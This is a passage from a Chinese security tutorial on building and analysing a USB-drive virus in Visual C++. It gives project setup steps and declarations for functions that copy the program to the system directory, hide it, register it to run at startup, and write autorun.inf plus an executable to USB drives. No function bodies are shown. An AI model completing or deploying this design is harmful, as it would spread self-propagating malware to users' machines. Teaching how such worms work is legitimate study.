2.病毒程序建立步骤
运行VC++后,选择“文件”→“新建”菜单命令,打开应用程序向导,显示出“新建”对话框。单击“工程”标签,从列表中选中Win32 Application项。
在工程名称框中输入Win32应用程序项目名称U_security2并选择合适的文件夹。
单击“确定”按钮继续,选中An empty project项,单击“完成”→“确定”。
再次选择“文件”→“新建”菜单命令,单击“文件”标签,选择C++ Source File项,输入文件名U_main,单击“确定”按钮,在其中编写相应的代码。
3.病毒程序分析
该程序主要由头文件、预定义、函数及变量定义、函数实现代码组成,部分代码如下:
……
#pragma comment(lib,"shlwapi.lib") //连入库文件
#define TIMER 1//计时器
//以下是函数的定义及声明:
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
TCHAR FirstDriveFromMask (ULONG unitmask); //获取盘符
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//得到病毒路径
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//把程序路径复制到系统目录并设置文件属性
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,使系统启动时自动运行aaaaa.exe
//从C盘启动时用到的函数
BOOL CopyToUAndSet();//复制Autorun.inf和bbbbb.exe到U盘并设置文件属性
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试aaaaa.exe是否已经在执行了
//全局变量和常量的定义及声明
TCHAR szExePath[MAX_PATH];
TCHAR szSysPath[MAX_PATH];
TCHAR U[2];
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="autorun.inf";
其中,全局变量szExePath[MAX_PATH]用于保存病毒路径;szSysPath[MAX_PATH]用于保存系统路径;U[2]用于保存U盘的盘符。常量szExeName代表在U盘创建的进程的名称;szSysName代表在系统下创建的进程的名称,可在进程表中看到;szAutoRunFile代表在U盘下创建的病毒的名称:autorun.inf。
|